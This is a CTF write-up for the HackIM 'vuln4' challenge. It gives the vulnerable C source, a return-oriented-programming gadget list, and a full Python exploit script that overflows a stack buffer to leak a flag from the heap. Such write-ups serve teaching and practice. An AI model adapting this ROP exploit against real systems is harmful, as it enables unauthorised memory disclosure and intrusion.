Brooklynt Overflow Recently Competed in HackIM CTF. This is a writeup of the vuln4 service. The author was kind enough to provide source to this challenge which is nice but ultimately not necessary or terribly helpful.
#include
#include
#include
#include
#include <sys/types.h>
#include <sys/stat.h>
#include
#define STACK 64
#define HEAP 64
#define FLAG "./flag"
/* gcc -masm=intel -z norelro -fno-stack-protector -o chall_heap chall_heap.c */
const char *malloc_error = "Memory allocation failed!\n";
const char *file_error = "Opening flag failed!\n";
const char *pwn = "Good Enough? Pwn Me!\n";
void main(int argc, char **argv) {
char *flag;
int fd;
char user[STACK];
flag = malloc(HEAP);
if (flag == NULL) {
write(1, malloc_error, strlen(malloc_error));
exit(1);
}
fd = open(FLAG ,O_RDONLY);
if (fd < 0){
write(1, file_error, strlen(file_error));
exit(1);
}
if(setresuid(getuid(), getuid(), getuid()) < 0){
exit(1);
}
read(fd, flag, HEAP-1);
close(fd);
write(1, pwn, strlen(pwn));
read(0, user, 0x800);
asm (".intel_syntax noprefix;"
"xor ebx, ebx;"
"xor ecx, ecx;"
"xor esi, esi;"
"xor edi, edi;"
);
}
Vuln4 is a service that reads data from the user into a stack based buffer which is much too small. The goal is to read the contents of the flag file out of memory. This is made difficult because the author of this program zeros out the registers before returning and the way the stack is organized by the compiler.
At the time we are able to gain control of execution we have no immediate reference to where the heap buffer containing the flag is located. This is not an impossible barrier to overcome. We know that if we can create another allocation of reasonable size with malloc
it will be allocated shortly after the block with the flag inside of it. We can then do some pointer arithmetic to locate the flag.
For this challenge, NX and ASLR have been enabled, we cannot return to the stack to execute arbitrary code. Because we have immediate control of the stack and a large stack space to work with we can employ vanilla return oriented programming techniques to perform the computations we need and to write the flag back to ourselves.
Gadget collection
I compiled a list of ROP gadgets from the program and began meditating on which gadgets to use. I decided on the following:
0x080486f7# mov dword [esp+0x04], eax ; call dword [ebx+esi*4-0x000000E0]
0x0804874e# add eax, dword [ebx-0x0B8A0008] ; add esp, 0x04 ; pop ebx ; pop ebp
0x080486a7# pop esi ; pop edi ; pop ebp
0x080483a0# pop ebx
0x080484df# pop pop pop ret or equiv
0x0804870f# pop ret or equiv
0x080483f0# malloc@.PLT
0x08048440# write@.PLT
In addition to the previous code snippets I also identified a few valuable data elements:
0x080499e4# write@.GOT
0x080498d8# writable memory
0x08048386# -4 as dword
Return Oriented Program Sequence
-
Trigger a call to
write@.PLT
. This shouldn’t be necessary but I want to make triple sure the GOT entry for write is populated before we need it. -
Trigger a call to
malloc
. The contents of the allocation are important but we can use the return value to find the address of the heap block with the contents of flag. -
Set the
ebx
register with thepop ebx
gadget. When we execute the gadgetadd eax, dword [ebx-0x0B8A0008] ; add esp, 0x04 ; pop ebx ; pop ebp
we wantebx
to be pointing at -4, therefore we setebx
to be the address of -4 +0x0B8A0008
ahead of time and also each time the gadget executes because it contains apop ebx
. -
Execute a series of
add eax, dword [ebx-0x0B8A0008] ; add esp, 0x04 ; pop ebx ; pop ebp
gadgets. These will geteax
pointing to the desired allocation in the heap. I determined in my debugger that subtracting 72 fromeax
would yield the address of the first block, therefore we execute this gadget 18 times. -
During the last execution of this gadget prepare for the next operation by setting
ebx
to be the address ofwrite@.GOT +0xe0
. The addition of the small constant0xe0
is to compensate for the next gadget:mov dword [esp+0x04], eax ; call dword [ebx+esi*4-0x000000E0]
. This gadget brings everything together.mov dword [esp+0x04], eax
writes the appropriate pointer argument onto the stack to prepare for the call towrite
. We make sure thatesi
is zero andebx
is the address ofwrite@.GOT +0xe0
. when the dereference is made we pull a pointer towrite
in libc.so and call it. -
The program crashes after returning from the call and we collect our flag.
Exploit code
#Evan Jensen (wont)
#Stack buffer overflow exploit w/ ROP for vuln4 HackIM CTF
from isis import *
import re
malloc_plt= 0x80483f0
write_plt = 0x8048440
write_got = 0x80499e4
hlt = 0x8048753 #hlt ret
pppr = 0x80484df #pop pop pop ret or equiv
pr = 0x804870f #pop ret or equiv
space = 0x80498d8 #writable memory
pop_ebx=0x080483a0#: pop ebx
write_stack_call=0x080486f7# mov dword [esp+0x04], eax ; call dword [ebx+esi*4-0x000000E0]
add_eaxpppr=0x0804874e# add eax, dword [ebx-0x0B8A0008] ; add esp, 0x04 ; pop ebx ; pop ebp
pop_esi=0x080486a7# pop esi ; pop edi ; pop ebp
ptr_neg4=0x08048382+4
# (gdb) x /d 0x08048382+4
# 0x8048528 <main+20>:-4
#lei is a wrapper for pack in isis.py
leak_malloc=lei(write_plt,pppr,1,space,1,#make sure the got for write gets filled in
malloc_plt,pr,8,#eax has pointer to heap
#we really want a way to subtract some from eax
pop_ebx,ptr_neg4+0x0B8A0008, #large constant subtracted in next gadget
add_eaxpppr,0,ptr_neg4+0x0B8A0008 ,0,
add_eaxpppr,0,ptr_neg4+0x0B8A0008 ,0,
add_eaxpppr,0,ptr_neg4+0x0B8A0008 ,0,
add_eaxpppr,0,ptr_neg4+0x0B8A0008 ,0,
add_eaxpppr,0,ptr_neg4+0x0B8A0008 ,0,
add_eaxpppr,0,ptr_neg4+0x0B8A0008 ,0,
add_eaxpppr,0,ptr_neg4+0x0B8A0008 ,0,
add_eaxpppr,0,ptr_neg4+0x0B8A0008 ,0,
add_eaxpppr,0,ptr_neg4+0x0B8A0008 ,0,
add_eaxpppr,0,ptr_neg4+0x0B8A0008 ,0,
add_eaxpppr,0,ptr_neg4+0x0B8A0008 ,0,
add_eaxpppr,0,ptr_neg4+0x0B8A0008 ,0,
add_eaxpppr,0,ptr_neg4+0x0B8A0008 ,0,
add_eaxpppr,0,ptr_neg4+0x0B8A0008 ,0,
add_eaxpppr,0,ptr_neg4+0x0B8A0008 ,0,
add_eaxpppr,0,ptr_neg4+0x0B8A0008 ,0,
add_eaxpppr,0,ptr_neg4+0x0B8A0008 ,0,
add_eaxpppr,0,write_got+0xe0 ,0, #eax -= 72; ebx=write_got+e0
#eax is now a suitable ptr for reading from
#write_plt is now in ebx adjusted for upcomming call
pop_esi,0,0,0,# pop esi ; pop edi ; pop ebp
write_stack_call,1,0,316,
hlt)
filler='\0'*(0x54+8*2)
s=get_socket(('localhost',2323)) #from isis.py
#s=get_socket(('23.23.190.205',8976))
#s.settimeout(100)
raw_input('hit enter to exploit')
s.recv(0x1000)
time.sleep(1)
s.send(filler+leak_malloc)
time.sleep(1)
#print re.findall('[0-9a-fA-F]{32}',s.recv(0x1000))
print s.recv(0x1000)
You can find this exploit and many others in the CTF-Solutions repo on github.